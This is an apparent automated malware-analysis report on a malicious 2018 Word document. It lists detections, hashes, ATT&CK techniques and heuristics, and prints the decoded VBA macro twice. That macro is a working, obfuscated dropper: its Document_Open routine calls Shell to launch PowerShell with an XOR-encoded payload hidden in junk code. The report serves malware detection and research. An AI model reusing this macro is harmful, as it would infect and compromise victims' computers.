Office (OLE) malware analysis — malicious · 6af0c86fe6cf4b5e

MALICIOUS

Office (OLE)

104.2 KB Created: 2018-06-15 14:50:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: 53b6123e4e89918ade89e5980d384301 SHA-1: a816cce88eac5230f36c8d6cd02994bd5f41683d SHA-256: 6af0c86fe6cf4b5e4ca4e40a4e74032fb3017571d8cf7689def1ab4af43f6ad2

222 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute arbitrary commands. This indicates the document is designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6592573-0' further supports this dropper functionality.

Heuristics 6

ClamAV: Doc.Dropper.Agent-6592573-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6592573-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

Mqjmv = Sqr(87445)
vaWbZmwj = LPFlOIKPiio + VBA.Shell(LmvdHwl + Chr(VwAbVnAGDhU + vbKeyP + wCakjzjTzz) + "owers" + kmDpthBKo + DEPERjIhdLL + nJHJjKb + ofuNNj, 86352 - 86352)
zsLwEf = 57295 + zuSIf + (31906 * CDbl(kCLiXi) - OZIOwY / CSng(30101) - NsMdFO / Hex(wBrlT) + 31048 - 84765)

Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
End Function
Private Sub Document_open()
On Error Resume Next
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13985 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13985 bytes
SHA-256: `1e979aeaf713b96301d00f4e4aa3cd27ed0047bb86884eb4eb3f8c23dbd963ae`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ZiGLvWCjQH" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function vaWbZmwj() On Error Resume Next WzjnJ = 79387 + DYRiL + (21438 * CDbl(pnQajb) - WApwH / CSng(84612) - KiSjZM / Hex(rqfPK) + 84287 - 66356) jihZio = TOXip wzwOzA = tpBzQs - wzlwpz / 92980 / KVjlNk - 223327908 + Hex(joCJdf) * iLMJt - Round(94583) QDOTp = Sqr(52816) mciNn = 27696 + FNuGO + (27184 * CDbl(PZmfEz) - zIIwwS / CSng(63480) - UCftS / Hex(FhwWiq) + 70028 - 199) NNbpOR = dUAdk UZkSoU = Rowaz - raUvtK / 85292 / IaJKzp - 223327908 + Hex(VwdrCm) * GJAukK - Round(62890) VaAop = Sqr(6937) zbIqf = 68085 + qSiwGK + (39202 * CDbl(vwZhH) - rtZqOs / CSng(29634) - jMrsVH / Hex(sEFbkr) + 31369 - 64122) iPlHbu = FufLu nlHijA = qhziW - NoNiC / 90292 / FXibL - 223327908 + Hex(pzSVjn) * NFjzw - Round(17609) ARZtKv = Sqr(11108) AmYPD = 62694 + wLTYL + (26971 * CDbl(PqIENf) - riVUnt / CSng(1463) - CUFGcn / Hex(ppjSb) + 19885 - 85224) okCuh = kncMP XzjNJH = vPmWw - zSFlI / 91062 / TYuEj - 223327908 + Hex(KIdGHF) * XzGWO - Round(57616) Mqjmv = Sqr(87445) vaWbZmwj = LPFlOIKPiio + VBA.Shell(LmvdHwl + Chr(VwAbVnAGDhU + vbKeyP + wCakjzjTzz) + "owers" + kmDpthBKo + DEPERjIhdLL + nJHJjKb + ofuNNj, 86352 - 86352) zsLwEf = 57295 + zuSIf + (31906 * CDbl(kCLiXi) - OZIOwY / CSng(30101) - NsMdFO / Hex(wBrlT) + 31048 - 84765) mtQjF = jVulu XzRdm = qjFuIj - wBKiYD / 18505 / mKRWzB - 223327908 + Hex(JFRUf) * odnkaI - Round(22820) HApSwT = Sqr(66951) KlpzH = 77777 + cXAdoB + (70225 * CDbl(XXuwv) - jGkKKw / CSng(82298) - fQrEF / Hex(ConclS) + 67785 - 75068) fZHLB = zioZQ bUbiiE = wswOsj - jvFFjj / 34571 / cOtco - 223327908 + Hex(BfpmYW) * kiAYj - Round(97479) wTJQBb = Sqr(13369) End Function Private Sub Document_open() On Error Resume Next sMkCQ = 96260 + MJcUMW + (98828 * CDbl(EhAkm) - Htzhd / CSng(14097) - UttAuA / Hex(RQVSAk) + 64200 - 21901) tUUuuK = OLvsXc npwkTl = mqIrQ - TSWHzo / 22058 / jClwBY - 223327908 + Hex(qWpOiB) * FDHwf - Round(1586) ahnkzG = Sqr(27972) DnLnR = 23440 + wTTdl + (63492 * CDbl(NSzAJ) - CZbvB / CSng(84899) - jZtrw / Hex(rJRsUh) + 36981 - 59558) JbpvJG = RdzRD dwIsId = PmZtm - abjKp / 93275 / afTpfS - 223327908 + Hex(TjrPSh) * Qvojjj - Round(10016) qHMJcA = Sqr(4865) vaWbZmwj cSMpts = 61187 + JbFzKj + (84453 * CDbl(GPqwzL) - nGUnD / CSng(84436) - OaBRSV / Hex(tnMzm) + 96712 - 95535) hHZsLP = fzmDGY bAQBZ = ZFbCjM - vsOVEN / 54583 / zKNSzs - 223327908 + Hex(nQTwa) * aRBUw - Round(21083) OFznYj = Sqr(76482) LmbpD = 67510 + qKSLjk + (73272 * CDbl(VbMBI) - OXiaw / CSng(65755) - YBBwzd / Hex(Xwbzk) + 43272 - 39368) GVjRk = TNlRT mZPLRz = zPHAi - JRNkG / 43454 / XzORlh - 223327908 + Hex(kUaOj) * aOcin - Round(23778) nJAhw = Sqr(74778) End Sub Attribute VB_Name = "JAMqjnCuV" Function kmDpthBKo() On Error Resume Next EwJiDi = jiWEU ihuaZQ = Sqr(68091) VNLbt = qszEK - iHuzjE / 10497 / dkiVMY - 223327908 + Hex(WlLkS) * EzHDzj - Round(94383) EvZlO = 88831 + CaQOI + (58213 * CDbl(RTIIs) - IsEjmK / CSng(68597) - UTVOZ / Hex(IVpYd) + 43722 - 62122) WZYihiAhi = "HeLL .( $ENv:c" + "oMspec" + "[4,26,25]-jOIn'" + "') ( " + Chr(34) + "$( SeT-" + "iteM '" + "VaRIaBLE:ofs'" + " '') " + Chr(34) + " + [sTRiN" + "g]('54m113g71T9" zYZMiB = nurVL kFUYXO = Sqr(861) FwDUGY = jlzGlP - EkIMw / 27963 / ENIIpb - 223327908 + Hex(pFzcit) * TEjKo - Round(88373) mkjqPU = 94270 + GoTrJ + (57865 * CDbl(mwlYI) - jMEJd / CSng(44003) - jrTPHB / Hex(NYNhL) + 119 - 18595) iOkGj = "0}101}126a11" + "3Z50}47U50<1" + "24U119a1" + "01U63<125" + "Z112Z120m1" + "19<113{102" + "m5" + "0Z96}115<124g11" + "8a125b" + "127b41g54" vNtYaQ = jQLSl OQVDJ = Sqr(29530) oIKRL = ijcBlj - rKTGru / 2832 / HIQFN - 223327908 + Hex(lzOLCj) * BfzfT - Round(37938) BiuMR = 93976 + rjwdCW + (12634 * CDbl(jbCHUD) - AOkPL / CSng(97172) - poKwi / Hex(kJUtr) + 28887 - 79154) JBPNnSBLhv = "T123g84m121Z118" + "}68b118a50T4" + "7}50" + "a124Z1" + "19T10" + "1T63Z125a" + "112" + "<120}119g1" dsrGi = XDzPL uiCXl = Sqr(34315) YioooN = Qjkolb - iNqvb / 31896 / ANGBF - 223327908 + Hex(zkOmlt) * JWKLwH - Round(63842) NjjAu = 22614 + wziNpi + (94672 * CDbl(pfTaXa) - tPQJW / CSng(21421) - hAzzn / Hex(UUiFT) + 43724 - 41219) hczOpYfrDCq = "13g10" + "2{50a65T10" + "7m97g102}119{12" + "7Z60m92T119}102" + "}60m69b119a112" vVikt = MRLcJB bsGhA = Sqr(27069) fpRwSY = WXJAM - nbAMU / 12968 / Fhdqsf - 223327908 + Hex(AYFan) * Vfmai - Round(37638) XQhmj = 33309 + jVwDsn + (12187 * CDbl(DiwUj) - FscQL / CSng(15661) - TCKcsb / Hex(FcYPqt) + 46227 - 50252) TQDFBR = "T81" + "m126{123U119" + "T124T102U41a" + "54g127}86g1" + "25T" + "97}95<" + "66<50a47}50{53" XCrhsL = jAruN wfEKa = Sqr(23767) MMTkY = OiWPR - RHVTp / 8179 / McGUvk - 223327908 + Hex(QwSdNL) * QwAajU - Round(49678) nczLbD = 74608 + FwSiN + (13866 * CDbl(IoahBZ) - Dpwzh / CSng(45380) - AjLNtR / Hex(hbwajd) + 34800 - 8173) JLrOjoz = "U122m102Z102}98" + "a40b61{61U1" + "01g101}101{60" + "Z115<112{125U" UERMM = ScLOGw PHvmJ = Sqr(14071) FWzBj = ppcOs - EfvsdZ / 31372 / rcqSA - 223327908 + Hex(rnacZ) * OpIkPm - Round(89873) oGrXA = 50247 + PLtCFR + (2003 * CDbl(VtJkB) - ICCiXL / CSng(96963) - HOGNn / Hex(sICjti) + 95803 - 15594) FBlnst = "103U102b60Z" + "116}124" + "a1" + "02Z100{" + "113b122b115Z1" + "24a124m119g1" + "26Z6" + "0Z113" + "{125" TNEfqE = fUPRM zEqmZ = Sqr(76886) JnahR = wFUCD - AjCobI / 20645 / qFqFQ - 223327908 + Hex(aiTTp) * ICJXk - Round(61281) vadfiA = 62699 + COzoD + (58691 * CDbl(WKcri) - sdXKcw / CSng(93572) - TLKNv / Hex(OfFlm) + 27180 - 52418) FwZnz = "a127{61<74a125m" + "66m113T8" + "1T38m75" + "m61}82m122T10" + "2m102g98U40g61}" RRakji = aiwPPd XBCcIR = Sqr(21804) zVECj = wdpjkj - zZFNVE / 78703 / QEjblk - 223327908 + Hex(jzjQr) * NmRhVl - Round(33386) nSEwU = 31964 + bSmAM + (63166 * CDbl(zZfEvi) - iQVHWm / CSng(50986) - iDEMHV / Hex(EaPPOp) + 98911 - 77201) iqIEvHHnCwJ = "61m101{101T" + "101U60}113b1" + "24<113" + "b118Z125g113" + "a102a125Z9" kmDpthBKo = WZYihiAhi + iOkGj + JBPNnSBLhv + hczOpYfrDCq + TQDFBR + JLrOjoz + FBlnst + FwZnz + iqIEvHHnCwJ End Function Function DEPERjIhdLL() On Error Resume Next YGPFmX = zOnNWn bkpIi = Sqr(76740) wsqTAE = skHIEP - OISsa / 54521 / jEKrYI - 223327908 + Hex(cDiBH) * WEnBv - Round(4399) RUazFd = 88991 + zTrLmn + (78402 * CDbl(zSXvrw) - WwMsm / CSng(67440) - DVwiUw / Hex(Xjoqj) + 11857 - 92155) WkYsGzt = "6b60a11" + "3}125m127g61Z68" + "{91m92a35m71" + "}107a119b102T9" + "9{112g" + "61g82m122m102" + "Z102U98a40T61U" nDjYC = sMbWPH GQFZt = Sqr(3104) FTjHK = TtlkiQ - BOOzG / 84432 / NrdQGb - 223327908 + Hex(OVkSX) * tavJo - Round(81601) IPofb = 54289 + bQhdHw + (13089 * CDbl(KURwYD) - fUmpsQ / CSng(21816) - jOtwA / Hex(PHZTH) + 94128 - 44848) DKuizpvCs = "61}97}121b107U1" + "18b125U127}119" + "}115{113T1" + "15{118T1" + "19<127b107" + "T60a1" vOojc = HUrCFT qrmSVa = Sqr(69238) YwuDjH = KviaOl - DXRkDX / 28807 / NXIXI - 223327908 + Hex(RbSzk) * zVjwpv - Round(7458) GtOpS = 1232 + aFXBRH + (12311 * CDbl(aTELP) - zwDto / CSng(50326) - oXTiz / Hex(DzMFr) + 77033 - 14611) VWPzBRTiT = "13<125a127U61U" + "86a115a" + "102<115{61a" + "126}64b96Z87T1" + "19T34<32" + "T123T61<82<" + "122T102m102U9" + "8T40}61b" + "61U97U1" + "13m115a116m1" JMNsM = nOAkX pBmOV = Sqr(48125) bfpPs = HkNfw - UrsdwG / 50001 / zbTPKE - 223327908 + Hex(NzWBp) * OawsNf - Round(98580) iKkXu = 18504 + otULai + (81189 * CDbl(inVvHT) - DAJPL / CSng(1461) - CbhcX / Hex(okMBf) + 94878 - 29980) kDiGDBJkTa = "15Z124T118b96" + "{125}60U113T125" + "m127U60{112" + "<96b61a" + "123a34T74Z94a85" + "a116m34<96Z" + "106b61T8" + "2{122b102" AwWhzu = zXoHv dowAm = Sqr(7181) VQKWPr = iTdJJj - YzpMS / 56478 / lajWDK - 223327908 + Hex(VsPpiN) * hwFTa - Round(24687) HzMaFn = 19885 + krdJVG + (32368 * CDbl(llbaNw) - wiKJrQ / CSng(53105) - utzGbj / Hex(HronP) + 13909 - 86168) DdVQniD = "Z102m98Z4" + "0U61" + "a61" + "T101{101" + "<101<60b121a1" VKGwI = FoJoT mTmQOk = Sqr(49150) bJbTZD = Rfmcrl - bFCzli / 70961 / RQUTnE - 223327908 + Hex(lMvJj) * upVSOd - Round(81507) zjpdzM = 64888 + IaNTi + (42379 * CDbl(qDjssQ) - QQaYu / CSng(3717) - jjbVDQ / Hex(rSFHsw) + 9208 - 90629) BcHwcB = "19}102<125{115" + "<124g112m" + "115a125b102}" + "123U124m60" + "m113<125U127Z61" + "U42m86m116}11" McDKo = hOPzvK lLRhi = Sqr(56057) PomWhw = KjXcj - jjfmJ / 38203 / tNUTr - 223327908 + Hex(DNBIpO) * TGiPH - Round(81509) sKwFQW = 18796 + ajhFDh + (31280 * CDbl(jWAumF) - RJwMaX / CSng(94597) - OWTBiX / Hex(wGjSm) + 93337 - 42163) PHtwKpwq = "9a64}" + "32g87{126a" + "96U61m53Z60U" + "65Z98m" + "126a1" + "23<102T5" hwwvJ = CVBff oVNuwC = Sqr(85015) QAFLOD = uIAsKr - zPPChZ / 88536 / COjNJ - 223327908 + Hex(LPiqqQ) * cMnwO - Round(37125) PFBBU = 35802 + lsDIah + (27951 * CDbl(AdEPi) - DqzQZ / CSng(20269) - siMVdR / Hex(NSEKzb) + 8879 - 45000) uIqkzoz = "8m53a82" + "{53<59" + "{41{54b102{92" + "T84{9" + "2U70b81<50m" + "47{50}54b113Z71" + "}90g" + "101m126<113<60{" + "124<1" obLNl = YwftU JJsJTD = Sqr(91046) pBNYU = oLZmT - HdjzN / 51050 / jSGzcw - 223327908 + Hex(StaRoS) * jzTJp - Round(73919) Cwzqi = 3040 + pjsSCU + (53155 * CDbl(UCbDTF) - dbCTbH / CSng(43224) - kpVXN / Hex(fWJzT) + 56399 - 63841) rSwocdwEhiB = "19{106m102g58g3" + "5m62U50{42}37U3" + "7a36T38<38<" + "59T41U5" + "4U72{71m87<90<" DEPERjIhdLL = WkYsGzt + DKuizpvCs + VWPzBRTiT + kDiGDBJkTa + DdVQniD + BcHwcB + PHtwKpwq + uIqkzoz + rSwocdwEhiB End Function Function nJHJjKb() On Error Resume Next hzXhJ = pjcvw iIINC = Sqr(30122) XFhQQ = kSqwR - GmDwzj / 26413 / OKpbLI - 223327908 + Hex(jJbdj) * WzqWn - Round(57302) OOljCk = 53372 + DulIwA + (5847 * CDbl(dMnYoj) - UiRSkr / CSng(73440) - iVvED / Hex(PRYNwE) + 75431 - 23542) XTtlW = "113<5" + "0a47}50g" + "54" + "Z119b124{100}4" + "0{102{11" + "9T1" + "27<98<5" + "0a57m50Z53" + "}78a53b50<57" jGWCn = GcfMJ kFjWn = Sqr(34650) ziqFlY = RCFpwK - VmvFDm / 20053 / hPkJjC - 223327908 + Hex(VfClMV) * EbsMw - Round(97952) oUtMPG = 9013 + jBIOS + (65408 * CDbl(joNaLC) - OIonoC / CSng(5074) - DzSwvh / Hex(laQiVi) + 59169 - 96389) DiiYo = "<50g54" + "<102m92g84<9" + "2g7" + "0T81<50Z57T50" + "a53Z60b119" + "T106" + "U11" + "9Z5" + "3a41U116a1" + "25a96g1" QsjnLO = lQkfa pkLjR = Sqr(6388) qPXjDR = XlPwK - GMahE / 25259 / XQuzaR - 223327908 + Hex(hkchTL) * QVdpZ - Round(79173) zaVbs = 49289 + hZmMwb + (5764 * CDbl(TNroLw) - WDWVo / CSng(33894) - OSGlAV / Hex(GQTYRw) + 81752 - 10929) LCmGhOfUh = "19U115b113<122" + "a58g54Z84" + "b122}75" + "U94Z124m94}" + "50{12" + "3T124T50a54a12" + "7U86" + "m125b97}95{66}5" + "9g105g102" + "b96b107<1" wmBCf = OcKifE YjqYl = Sqr(26230) BjVuwc = KGMSLL - Oupzqs / 17179 / QvQAZX - 223327908 + Hex(ozTNM) * ijJtX - Round(52022) VZVZF = 74279 + XmJidz + (89302 * CDbl(qwsiXk) - dsvufV / CSng(10012) - wBPFEq / Hex(EjnHo) + 19269 - 56595) mmrEbP = "05Z54U123a84}12" + "1g118g68{1" + "18m" + "60{8" + "6b1" + "25g101m12" + "4g126m125g115" juWwS = JmAYvV YzTHdb = Sqr(40359) cEszs = KORrV - qZHOpM / 3333 / IwvIvr - 223327908 + Hex(TOikz) * Gwmrq - Round(51759) KPZdwD = 10850 + RPwwwf + (61333 * CDbl(jFSRk) - WZSim / CSng(27390) - nYYrjq / Hex(JjzUV) + 53606 - 28277) sZFtizkJk = "{118g84T1" + "23Z126U119U58" + "{54b84T122T75g" + "94{1" + "24" + "U94Z60T70<125" + "U65U102<9" VjCiG = owrESR ikPXk = Sqr(49317) VXjTj = rmhrit - zPpanw / 26088 / KqQMLk - 223327908 + Hex(ojuRlz) * DdsnsG - Round(18200) VKdIk = 8259 + zrznG + (41830 * CDbl(kdUXw) - tdYwRB / CSng(21098) - CbKMT / Hex(zvSdH) + 73145 - 49481) cQmFJVIo = "6{123Z12" + "4}117m58U" + "59a62g50{5" + "4g72" + "b71U87{90" + "b113a59a41b65" mZsbKO = ojoMOL tCiGjl = Sqr(8830) ldZmkW = DImoi - wpzvh / 11795 / TqOjjG - 223327908 + Hex(jLlarU) * ktnAi - Round(51629) QGUwrz = 1713 + QHwRMM + (64910 * CDbl(DHfZD) - UjZlts / CSng(20043) - ZkVWMm / Hex(wOLjp) + 15581 - 70605) KjRRnawYXnz = "Z10" + "2b115Z96T102U6" + "3T66U9" + "6{125" + "T113{119" + "a97m97U" + "50{54U72b71Z8" IbDTB = zMjLC qWnDl = Sqr(32599) QDAaE = EbVnFA - zolEa / 43859 / Pzutz - 223327908 + Hex(LUttnw) * EITLi - Round(64869) LPvPqC = 57990 + XsXMzO + (23410 * CDbl(vMuwf) - LOLPhq / CSng(68515) - bZXLJ / Hex(piwzEl) + 71207 - 30290) NCQuLwJbi = "7Z90g113a41Z" + "112b96<119}1" + "15{121{41m111{1" + "13b11" + "5m1" + "02<113g122g105" aVcQf = zFCkid nAQYom = Sqr(31611) KMkAHN = frKMPS - QpWpP / 99790 / UNTZB - 223327908 + Hex(UMqbJ) * iwzZjw - Round(67484) zHTJG = 50907 + Ujibz + (13895 * CDbl(MpUaWs) - rtVdO / CSng(30343) - FRIKKk / Hex(wpKFI) + 48267 - 77490) zStQj = "a1" + "01U96m123g102" + "}119g63a122" + "T125g97U102" + "}50Z54m77{60{8" nJHJjKb = XTtlW + DiiYo + LCmGhOfUh + mmrEbP + sZFtizkJk + cQmFJVIo + KjRRnawYXnz + NCQuLwJbi + zStQj End Function Function ofuNNj() On Error Resume Next fNzNZX = jaBzX LNKzn = Sqr(74264) KOJrH = hiLabP - jNHQBa / 35961 / IizEv - 223327908 + Hex(wCvBq) * TbZSt - Round(32721) ZpwRb = 10752 + dSBjC + (49950 * CDbl(bTQmqf) - iHQGA / CSng(57987) - kmoblY / Hex(IzHIt) + 52748 - 25095) pldwJYvSruN = "7g106a113Z11" + "9Z" + "98<102" + "{123}125U" + "124Z6" + "0U95m119a97" + "}97Z1" + "15m117T119{41" aQwhR = TjwFt hIjBub = Sqr(20535) WNBct = ojujsn - MWHYCi / 96004 / QfaCTi - 223327908 + Hex(wqhJnf) * pbJdkB - Round(49164) NTwBkM = 75688 + dljPZ + (71058 * CDbl(ZEnpX) - LrDLwf / CSng(85856) - lzwCDd / Hex(XapGGF) + 71647 - 79181) zHvibdiGG = "a111g111'.s" + "PLiT( '<}ZmgaU" + "T{b'" + ") \|FOrEACH-O" + "BJeCt{" VtBAU = ZdswMh KAwnF = Sqr(86230) TCQYA = tYHCw - qMVaF / 13293 / jiUWv - 223327908 + Hex(zpWAV) * wjwWK - Round(19943) ibZaL = 594 + EBiADh + (62690 * CDbl(OYuwJF) - hBSJB / CSng(48035) - pMawa / Hex(AjDYB) + 82185 - 14674) lApkzcIPmzj = " [ChAr] ($_ -BX" + "OR 0x12 " + " )} )+" + Chr(34) + " $(Se" + "T-VAriA" + "BLE" + " 'OF" + "s' ' ' ) " + Chr(34) + ")" ofuNNj = pldwJYvSruN + zHvibdiGG + lApkzcIPmzj End Function

SHA-256: 1e979aeaf713b96301d00f4e4aa3cd27ed0047bb86884eb4eb3f8c23dbd963ae

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ZiGLvWCjQH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function vaWbZmwj()
On Error Resume Next
WzjnJ = 79387 + DYRiL + (21438 * CDbl(pnQajb) - WApwH / CSng(84612) - KiSjZM / Hex(rqfPK) + 84287 - 66356)
jihZio = TOXip
wzwOzA = tpBzQs - wzlwpz / 92980 / KVjlNk - 223327908 + Hex(joCJdf) * iLMJt - Round(94583)
QDOTp = Sqr(52816)
mciNn = 27696 + FNuGO + (27184 * CDbl(PZmfEz) - zIIwwS / CSng(63480) - UCftS / Hex(FhwWiq) + 70028 - 199)
NNbpOR = dUAdk
UZkSoU = Rowaz - raUvtK / 85292 / IaJKzp - 223327908 + Hex(VwdrCm) * GJAukK - Round(62890)
VaAop = Sqr(6937)
zbIqf = 68085 + qSiwGK + (39202 * CDbl(vwZhH) - rtZqOs / CSng(29634) - jMrsVH / Hex(sEFbkr) + 31369 - 64122)
iPlHbu = FufLu
nlHijA = qhziW - NoNiC / 90292 / FXibL - 223327908 + Hex(pzSVjn) * NFjzw - Round(17609)
ARZtKv = Sqr(11108)
AmYPD = 62694 + wLTYL + (26971 * CDbl(PqIENf) - riVUnt / CSng(1463) - CUFGcn / Hex(ppjSb) + 19885 - 85224)
okCuh = kncMP
XzjNJH = vPmWw - zSFlI / 91062 / TYuEj - 223327908 + Hex(KIdGHF) * XzGWO - Round(57616)
Mqjmv = Sqr(87445)
vaWbZmwj = LPFlOIKPiio + VBA.Shell(LmvdHwl + Chr(VwAbVnAGDhU + vbKeyP + wCakjzjTzz) + "owers" + kmDpthBKo + DEPERjIhdLL + nJHJjKb + ofuNNj, 86352 - 86352)
zsLwEf = 57295 + zuSIf + (31906 * CDbl(kCLiXi) - OZIOwY / CSng(30101) - NsMdFO / Hex(wBrlT) + 31048 - 84765)
mtQjF = jVulu
XzRdm = qjFuIj - wBKiYD / 18505 / mKRWzB - 223327908 + Hex(JFRUf) * odnkaI - Round(22820)
HApSwT = Sqr(66951)
KlpzH = 77777 + cXAdoB + (70225 * CDbl(XXuwv) - jGkKKw / CSng(82298) - fQrEF / Hex(ConclS) + 67785 - 75068)
fZHLB = zioZQ
bUbiiE = wswOsj - jvFFjj / 34571 / cOtco - 223327908 + Hex(BfpmYW) * kiAYj - Round(97479)
wTJQBb = Sqr(13369)
End Function
Private Sub Document_open()
On Error Resume Next
sMkCQ = 96260 + MJcUMW + (98828 * CDbl(EhAkm) - Htzhd / CSng(14097) - UttAuA / Hex(RQVSAk) + 64200 - 21901)
tUUuuK = OLvsXc
npwkTl = mqIrQ - TSWHzo / 22058 / jClwBY - 223327908 + Hex(qWpOiB) * FDHwf - Round(1586)
ahnkzG = Sqr(27972)
DnLnR = 23440 + wTTdl + (63492 * CDbl(NSzAJ) - CZbvB / CSng(84899) - jZtrw / Hex(rJRsUh) + 36981 - 59558)
JbpvJG = RdzRD
dwIsId = PmZtm - abjKp / 93275 / afTpfS - 223327908 + Hex(TjrPSh) * Qvojjj - Round(10016)
qHMJcA = Sqr(4865)
vaWbZmwj
cSMpts = 61187 + JbFzKj + (84453 * CDbl(GPqwzL) - nGUnD / CSng(84436) - OaBRSV / Hex(tnMzm) + 96712 - 95535)
hHZsLP = fzmDGY
bAQBZ = ZFbCjM - vsOVEN / 54583 / zKNSzs - 223327908 + Hex(nQTwa) * aRBUw - Round(21083)
OFznYj = Sqr(76482)
LmbpD = 67510 + qKSLjk + (73272 * CDbl(VbMBI) - OXiaw / CSng(65755) - YBBwzd / Hex(Xwbzk) + 43272 - 39368)
GVjRk = TNlRT
mZPLRz = zPHAi - JRNkG / 43454 / XzORlh - 223327908 + Hex(kUaOj) * aOcin - Round(23778)
nJAhw = Sqr(74778)
End Sub


Attribute VB_Name = "JAMqjnCuV"
Function kmDpthBKo()
On Error Resume Next
EwJiDi = jiWEU
ihuaZQ = Sqr(68091)
VNLbt = qszEK - iHuzjE / 10497 / dkiVMY - 223327908 + Hex(WlLkS) * EzHDzj - Round(94383)
EvZlO = 88831 + CaQOI + (58213 * CDbl(RTIIs) - IsEjmK / CSng(68597) - UTVOZ / Hex(IVpYd) + 43722 - 62122)
WZYihiAhi = "HeLL  .( $ENv:c" + "oMspec" + "[4,26,25]-jOIn'" + "') ( " + Chr(34) + "$( SeT-" + "iteM  '" + "VaRIaBLE:ofs'" + " '') " + Chr(34) + " + [sTRiN" + "g]('54m113g71T9"
zYZMiB = nurVL
kFUYXO = Sqr(861)
FwDUGY = jlzGlP - EkIMw / 27963 / ENIIpb - 223327908 + Hex(pFzcit) * TEjKo - Round(88373)
mkjqPU = 94270 + GoTrJ + (57865 * CDbl(mwlYI) - jMEJd / CSng(44003) - jrTPHB / Hex(NYNhL) + 119 - 18595)
iOkGj = "0}101}126a11" + "3Z50}47U50<1" + "24U119a1" + "01U63<125" + "Z112Z120m1" + "19<113{102" + "m5" + "0Z96}115<124g11" + "8a125b" + "127b41g54"
vNtYaQ = jQLSl
OQVDJ = Sqr(29530)
oIKRL = ijcBlj - rKTGru / 2832 / HIQFN - 223327908 + Hex(lzOLCj) * BfzfT - Round(37938)
BiuMR = 93976 + rjwdCW + (12634 * CDbl(jbCHUD) - AOkPL / CSng(97172) - poKwi / Hex(kJUtr) + 28887 - 79154)
JBPNnSBLhv = "T123g84m121Z118" + "}68b118a50T4" + "7}50" + "a124Z1" + "19T10" + "1T63Z125a" + "112" + "<120}119g1"
dsrGi = XDzPL
uiCXl = Sqr(34315)
YioooN = Qjkolb - iNqvb / 31896 / ANGBF - 223327908 + Hex(zkOmlt) * JWKLwH - Round(63842)
NjjAu = 22614 + wziNpi + (94672 * CDbl(pfTaXa) - tPQJW / CSng(21421) - hAzzn / Hex(UUiFT) + 43724 - 41219)
hczOpYfrDCq = "13g10" + "2{50a65T10" + "7m97g102}119{12" + "7Z60m92T119}102" + "}60m69b119a112"
vVikt = MRLcJB
bsGhA = Sqr(27069)
fpRwSY = WXJAM - nbAMU / 12968 / Fhdqsf - 223327908 + Hex(AYFan) * Vfmai - Round(37638)
XQhmj = 33309 + jVwDsn + (12187 * CDbl(DiwUj) - FscQL / CSng(15661) - TCKcsb / Hex(FcYPqt) + 46227 - 50252)
TQDFBR = "T81" + "m126{123U119" + "T124T102U41a" + "54g127}86g1" + "25T" + "97}95<" + "66<50a47}50{53"
XCrhsL = jAruN
wfEKa = Sqr(23767)
MMTkY = OiWPR - RHVTp / 8179 / McGUvk - 223327908 + Hex(QwSdNL) * QwAajU - Round(49678)
nczLbD = 74608 + FwSiN + (13866 * CDbl(IoahBZ) - Dpwzh / CSng(45380) - AjLNtR / Hex(hbwajd) + 34800 - 8173)
JLrOjoz = "U122m102Z102}98" + "a40b61{61U1" + "01g101}101{60" + "Z115<112{125U"
UERMM = ScLOGw
PHvmJ = Sqr(14071)
FWzBj = ppcOs - EfvsdZ / 31372 / rcqSA - 223327908 + Hex(rnacZ) * OpIkPm - Round(89873)
oGrXA = 50247 + PLtCFR + (2003 * CDbl(VtJkB) - ICCiXL / CSng(96963) - HOGNn / Hex(sICjti) + 95803 - 15594)
FBlnst = "103U102b60Z" + "116}124" + "a1" + "02Z100{" + "113b122b115Z1" + "24a124m119g1" + "26Z6" + "0Z113" + "{125"
TNEfqE = fUPRM
zEqmZ = Sqr(76886)
JnahR = wFUCD - AjCobI / 20645 / qFqFQ - 223327908 + Hex(aiTTp) * ICJXk - Round(61281)
vadfiA = 62699 + COzoD + (58691 * CDbl(WKcri) - sdXKcw / CSng(93572) - TLKNv / Hex(OfFlm) + 27180 - 52418)
FwZnz = "a127{61<74a125m" + "66m113T8" + "1T38m75" + "m61}82m122T10" + "2m102g98U40g61}"
RRakji = aiwPPd
XBCcIR = Sqr(21804)
zVECj = wdpjkj - zZFNVE / 78703 / QEjblk - 223327908 + Hex(jzjQr) * NmRhVl - Round(33386)
nSEwU = 31964 + bSmAM + (63166 * CDbl(zZfEvi) - iQVHWm / CSng(50986) - iDEMHV / Hex(EaPPOp) + 98911 - 77201)
iqIEvHHnCwJ = "61m101{101T" + "101U60}113b1" + "24<113" + "b118Z125g113" + "a102a125Z9"
